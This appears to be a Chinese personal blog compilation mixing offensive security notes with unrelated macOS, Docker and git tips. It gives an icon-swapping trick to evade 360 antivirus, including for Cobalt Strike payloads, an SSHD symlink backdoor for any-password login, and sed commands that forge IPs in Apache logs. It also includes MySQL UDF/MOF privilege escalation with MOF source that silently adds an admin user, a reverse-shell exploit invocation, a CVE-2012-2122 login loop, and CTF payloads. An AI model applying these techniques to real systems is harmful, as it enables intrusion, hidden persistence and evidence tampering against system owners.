360图标免杀(附下载)

工具包已经打包好了

打开Restorator,拖入要免杀的exe文件。

右键文件名

001

添加图标

002

拖入图标,保存

。。。。

。。

免杀了!

003

附上替换图标前后的效果对比:

https://www.virustotal.com/gui/file/a9da482f6a1f209e63b49c55320084aeee15ffb71c5b396c7d85f9c8a040fcb8/detection

https://www.virustotal.com/gui/file/f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd/detection

不要为我为啥,问就是360面子大。。。

刚才试了下,改成火绒的图标也能免杀360

又试了下发现英雄联盟的图标也免杀

又试了下,用cs生成exe马改图标也可以过静态扫描。。。


内网渗透篇

判断机器内网情况

主要的通信协议有tcp/icmp/http/dns
判断方法如下

tcp:

外网vps : nc –lvp port
内网linux:nc ip port
内网windows:telnet vps_ip vps_port
windows开启telnet:
开启telnet:
dism /online /Enable-Feature /FeatureName:TelnetClient
关闭telnet:
dism /online /Disable-Feature /FeatureName:TelnetClient

dns:

外网vps nc -u -lvp 53
内网windows nslookup www.baidu.com vps_ip
内网linux nslookup www.baidu.com vps_ip
内网linux dig @vps-ip www.baidu.com

icmp:

ping 8.8.8.8

http:

外网vps nc -u -lvp 80
内网linux curl "http://vps_ip/a.txt"
内网windows C:\Users\windows>bitsadmin /rawreturn /transfer down "http://vps_ip/a.txt" C:\Users\windows\Desktop\22.txt

内核溢出漏洞提权

Windows平台提权漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
Linux平台提权漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
BadPotato烂土豆
https://github.com/BeichenDream/BadPotato
Linux Exploit Suggester 2
https://github.com/jondonas/linux-exploit-suggester-2

SUID提权

suid文件权限权限:在文件执行时会以root权限执行,任何人都可以执行该文件。例如/etc/passwd。(实战中没吊用,根本碰不到利用条件)

查找拥有SUID权限的文件:

find / -perm /4000 2>/dev/null

SSHD软连接后门

在sshd服务配置运行PAM认证的前提下,使用软连接可绕过RAM认证。实现任意密码登录。

ln -sf /usr/sbin/sshd /tmp/systemd-private-53b4a0f6c1ad4718b2e0154271a11fbf-ntpd.service-92n7Ld;/tmp/su -oport=45678

客户端用ssh root@x.x.x.x -p 12345登录。
前提是服务器允许了PAM认证:
vim /etc/ssh/sshd_config
UsePAM yes

伪造日志中的指定IP

Apache:
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log

配置文件位置

cat /var/apache2/config.inc
cat /etc/nginx/conf.d/nginx.conf


解决MACOS网络配置页面卡死

针对同这个人遇到的问题:https://discussionschinese.apple.com/thread/250320211
鼠标点到配置页面里的文本编辑框就会卡死,无法输入也无法点击。之前的”土办法”是先把IP地址等信息打到VScode里再粘贴过来。粘贴的过程中需要不断按下粘贴的快捷键并反复切换应用窗口。这样才有概率粘贴进去,今天发现有命令能配置。
使用命令

sudo networksetup -setmanual "USB 10/100/1000 LAN" 192.168.1.4 255.255.255.0 192.168.1.1
**对应位置**

sudo networksetup -setmanual "USB 10/100/1000 LAN" IP地址 子网掩码 网关/路由器

直接命令行配置,就不存在鼠标点击导致卡死的问题了。


命令到这里就结束了,下面是个人的一点小牢骚。
为了解决问题,今天重做了系统。刚重做好还是正常可以点击输入的,等到时间机器导入回个人数据之后就又触发BUG了。估计是配置文件里有两个事件冲突了,或者调用了之后一直不返回。只能等到切换窗口这类事件打断才能返回。
每次出差到客户那边,看着我配网址的时候。几个人看着我拿出MAC电脑,有时候还会有夸赞MAC有多好的。然后看着我连地址都配不上,我都急的满头大汗。。。
用电脑从来没有这么折腾过,Windows真香!


mysql提权总结

mysql提权

前言

事出有因,发现mysql的提权还不是很熟。需要研究一下。
另外,如果真的想成为一名大师,对于一个东西一定要熟。你把它研究透了,从内到外都滚瓜烂熟了,才有可能在遇到需要它的时候成功利用。
你永远不知道下一秒会发生什么。很有可能下一秒机会就出现。而那些真正厉害的黑客一定是早早就把可能用到的东西研究透了,已经烂熟于心。这样才能在那些稍纵即逝的机会面前抓住他。
不只是第一步,思路一定要清晰。在踏出第一步之前就已经对于每一步可能发生的情况都非常清楚,知道要向什么方向走。

UDF

创建文件夹

因为默认是没有这个文件夹的:C:/Users/username/Documents/phpstudy/MySQL/lib/plugin

select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Users\\username\\Documents\\phpstudyMySQL\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Users\\username\\Documents\\phpstudyMySQL\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

udf注入(Linux)

linux_udf_64.so这个不知道函数名是啥,从下面的常用命令看应该是叫sys_eval

linux_udf常用命令

udf马

udf.php

udf反弹shell

mysqlShellExp.txt这个udf.dll文件有点大,可能有后门。。。

运行创建函数的时候会提示没有这个函数,但实际上是成功的。

image-20200728135149596

image-20200728144754247

mysql自动化上传

python sqlmap.py -u ‘xxxx’ –file-write=/lib_mysqludf_sys.so –file-dest=/usr/lib/mysql/plugin/

mof提权

要winServer2003以下才能用。。

国外大神0day工具

用法:

perl mysql_win_remote.pl 10.211.55.3 root root 10.211.55.4 9999
mysql服务器地址 账号 密码 反弹shell地址 端口

perl需要安装 DBD::mysql DBD 模块。mac10.15.5 安装失败。。

MSF

win7的用msf模块打了,不成功。

use exploit/windows/mysql/mysql_mof
set password root
set username
set rhost
set rport
set lhost
exploit

据说windows2003可以。

手动

nullevt.mof文件源码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test$ cKediTor /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

用法:

系统每五秒创建一个账户test$,里面命令可以自定义
使用sql语句将文件导入到c:/windows/system32/wbem/mof/

select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

利用的是windows系统的一个机制,以管理员权限每5分钟执行一次。

万一成功了想要删掉需要:

net stop winmgmt
net user ghtwf011 /delete
切换到 c:/windows/system32/wbem 目录
del repository
net start winmgmt

hackmysql综合利用工具

https://github.com/T3st0r-Git/HackMySQL

集成了全自动udf一键执行命令(里面有几个自带的dll,不知道有没有后门)

image-20200728111918702

写启动项

LPK.dll劫持系统目录提权

这个试了也提示成功但实际上是没有这个账户的。。

image-20200728111712200

image-20200728111730064

允许远程连接

更改 “mysql” 数据库里的 user 表里的 host 项,将 localhost 改为 %

CVE-2012-2122 Mysql身份认证漏洞

不断尝试登陆,平均256次就能成功一次。无需密码。

#!/usr/bin/python
import subprocess

while 1:
subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()
for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

SA提权辅助

http://bugs.hacking8.com/tiquan/?m=sql-sa

xp_cmdshell命令执行

开启xp_cmdshell

EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configu re'xp_cmdshell',1;RECONFIGURE;

当提示”不支持对系统目录进行即席更新”

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH over ride;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE WITH override;EXEC sp_configure 'show advanced options', 0;
exec master..xp_cmdshell 'whoami'

判断xp_cmdshell是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND n ame = 'xp_cmdshell'

关闭xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_c onfigure 'xp_cmdshell', 0;RECONFIGURE;

De1ctf2019 梳理

SSRF ME

tcl

刚拿到这题就直接分析源码,代码看是看懂了.但完全没有思路,那个action不是写死了吗?secret token我不知道啊?哎,吃了没听说哈希扩展攻击的亏..

之后看到了writeup,就来梳理一下.

writeup:

#!/usr/bin/python2
import requests,hashpumpy,urllib
payload = 'flag.txt'
param = 'param=' + payload
base_url = 'http://139.180.128.86/'
signurl = base_url + 'geneSign?' + param
r = requests.post(url=signurl,cookies={'action':'scan'})
sign = r.content
print sign
readsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)
print readsign
# print add_data
add_data = add_data[len(payload):]
print add_data
expurl = base_url + 'De1ta?' + param
r = requests.post(url=expurl,cookies={'action':urllib.quote(add_data),'sign':readsign})
print r.content

网站有两个功能,scanread.scan负责读取数据并写入到本地,read负责读取本地保存的数据.每次执行操作前需比对sign,如果不对则返回500错误.

然后我们这边就要先读取flag.txt.

具体执行读取文件是在源代码中的86行,使用urlopen打开传递的param参数的文件.这个地方还有个waf函数,所以param参数不能以filegopher开头.但其实直接写flag.txt就完事了.

在读取前,需要先获取sign.于是构造:

http://139.180.128.96/geneSign?param=flag.txt

并在访问时构造cookie={'action':'scan'}

访问得到sign8370bdba94bd5aaf7427b84b3f52d7cb.也就是secret_key+flag.txt+scan的哈希值.

之后我们就要执行读取操作,但并不知道secret_key的值无法重新计算哈希值.于是就要用到哈希长度扩展攻击了.

哈希长度扩展攻击

使用条件:

  1. 已知明文长度

  2. 已知哈希值

  3. 已知明文结尾处字符

进行攻击

root@DESKTOP-Q7DV3IJ:~# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: flag.txtscan
Input Key Length: 16
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

这里攻击后直接生成了secret_key+flag.txt+"scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read"的哈希值:d7163f39ab78a698b3514fd465e4018a

然后我们构造url:http://139.180.128.86/De1ta?param=flag.txtcookies={‘action’:’scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read’,’sign’:’d7163f39ab78a698b3514fd465e4018a’

这样,就可以使用伪造的签名愉快的去获取flag啦~

碎碎念

其他的题目…目前还没有能做出来的.做完了再更新吧.把一道题目的解法写出来就像是给别人讲解一样,在讲解的同时也是在梳理知识点,加深自己的印象,是一个很好的习惯.


upload-labs第20关详解

拿到题目,首先分析源码.

题目

获取了一个post参数save_name作为文件名称.进行操作,这里有一个逻辑漏洞.后台先是对file进行判断,如果不是数组才会对他进行分割.

那么如果我们直接传入一个数组会怎么样呢?

尝试上传

成功上传

但是

为什么这样就能成功上传?我又读了一遍代码,代码逻辑应该是没问题的啊?也就是说,即使我们用post方式传递的是数组也应该能正确执行才对啊.

调试代码

在头部添加开启报错信息

error_reporting(-1);
ini_set('display_errors', 1);

添加调试信息

echo '<p>长度: '.count($file).'</p>';
echo '<p>数组: '.print_r($file).'</p>';
echo '<p>count -1'.$file[count($file) - 1].'</p>';
echo '<p>count -2'.$file[count($file) - 2].'</p>';
echo '<p>count -3'.$file[count($file) - 3].'</p>';
echo '<p>0 :'.$file[0].'</p>';
echo '<p>1 :'.$file[1].'</p>';
echo '<p>2 :'.$file[2].'</p>';

添加调试信息

再次上传,看一下输出

输出内容

注意一下这个地方,数组长度为2,数组内容为Array ( [0] => upload-20.jpg [2] => jpg ).

问题好像出来了.从这一行可以看出这个数组好像不是一个索引数组,而是一个关联数组.而且是以数字类型为关联键.

这也正是为什么调用$file[count($file)-1]的时候会返回空.因为count($file)的值为2,整个语句就是$file[1].而file数组作为一个关联数组只有0和2两个键,没有名为1的建,所以只能返回空.后面作为后缀名拼接的时候就只有前面的$file[0]作为文件名.

好可爱~


sql注入笔记

sql注入笔记

攻防世界

题目链接

首先拿到题目,首先试下sql注入.居然是sql注入的题目..

确定注入

hello' or '1'='1'#

确定注入点

确定回显位

hello' union select 1,2,3 #

获取全部数据库名

hello' union select 1,2,schema_name from information_schema.schemata #

获取全部表名

hello' union select 1,2,table_name from information_schema.tables #

获取字段名

hello' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #

获取字段值

hello' union select 1,2,fl4g from secret_table #

获取字段值


攻防世界的一些ctf

题目描述:抓住那只猫

一个网站测试的网页

攻防世界的一些ctf_0x01

随便试了一个index.php?url=%89之后提示了Django的报错,推测是使用后端的php调用了Django网站的接口

同时题目提示去看Curl的用法.发现curl除了传输文本还可以用@+文件路径把文件传过去.

在刚才的报错信息中搜索database可以看到数据库位置

攻防世界的一些ctf_0x02

把数据库当参数传过去 index.php?url=@/opt/api/database.sqlite3

报错信息里就有flag了

涨知识了,curl还能这么用(说的好像你用过一样)


在vps上部署python开发环境

起因

前段时间发现有个网站的漫画资源挺多,但想看需要翻墙.于是就寻思着写个爬虫爬到本地看.但vps上的python只能在命令行上敲.于是就想起了jupyter notebook.

经过

系统是Centos的,装了jupyter之后提示还是找不到命令…

Google了一番之后无果,那还是用docker起吧.

个人还是很喜欢docker的,因为docker可以说是终极解决方案了.docker的使用体验非常友好,因为docker绝不出错.

像我这种bug体质😱的人来说可以说是首选方案了.能docker就docker,实在简单或者有把握自己调试才会直接用.

在dockerhub上找了个比较全的jupyter/all-spark-notebook.据介绍说把所有的环境几乎都配了.有Python, Scala, R, Spark, Mesos Stack,我试了下python,发现常用的reqeusts库,bs库都是有的.还不错.没有的我后面再说怎么装.

开冲!!!

启动容器

docker run --rm -p 8888:8888 -v /root/downloads:/downloads jupyter/all-spark-notebook

注意,上面的命令带有--rm参数,也就是说在停止容器后再次运行之前的所有更改就没有了,包括所有代码.只有/downlads目录下的文件会和宿主机的/root/downloads目录保持同步.

因为不加--rm参数的话停下容器下次再启动的命令是有变化的.好像是把run替换成start还是continue,总之是一个继续的命令.不然会报错.

进入容器

docker exec -it condescending_dirac /bin/bash

进去之后发现有个问题,这个镜像中运行jupyter服务是以jovyan用户启动的,id为1000.而/downloads目录是拒绝jovyan访问的…

这就很尴尬了,我被我起的虚拟机拒绝了??这好像不太合适吧?(就好像你玩单机到商店买东西,结果老板说你钱不够……特喵的,整个游戏都是老子的,你算老几???8说了,cheatengine-x86_64.exe启动.把价格改成0!!!啊不,改成负的……XXX.exe 已停止响应 ->等待 终止程序)

那咱就sudo su - root切一下用户呗…

root密码咱也不知道啊!

后来发现有个命令参数-u 0,这样进去虚拟机的时候就是以root身份登进去的.

docker exec -u 0 -it awesome_yalow /bin/bash

修改目录访问权限

chmod -R 777 /downloads

ok,解决了.

使用

接下来就是使用了,熟悉jupyter的人就不用看了.

首先是jupyter的web界面

网址就是服务器地址的8888端口.之后会让你输入token.

看一下启动docker服务的那个终端,也就是执行了docker run --rm -p 8888:8888 -v /root/downloads:/downloads jupyter/all-spark-notebook的那个终端,第七行就是.

黄框框里的值就是token...话说不是写了`token=`的字样吗

然后写文件的时候注意一下写在映射的目录下,不然还要移动到宿主机很麻烦.

然后用docker的一个缺点就是没法把jupyter当作web版的命令行用.因为命令都执行到虚拟机里去了.


git如何忽略隐藏的文件夹,以及删除GitHub上的隐藏文件夹

.gitignore写法:

.gitignore
.history/*

其中.history文件夹为隐藏文件夹.

往GitHub上推代码的时候不小心把项目的历史版本记录都推上去了.于是写了个gitignore忽略掉.

但一开始怎么改变gitignore的规则都无法删除GitHub上的.history文件夹.

最终发现了一个”笨方法”,还算管用:

  1. 真的删除该文件夹(改名字也行,但要把改名后的文件夹写到.gitignore中去.语法就像上面.history/*那样)

  2. 把这个版本推上去

  3. 恢复刚才删除的文件夹

  4. 修改.gitignore文件,把一开始要忽略的隐藏文件夹加上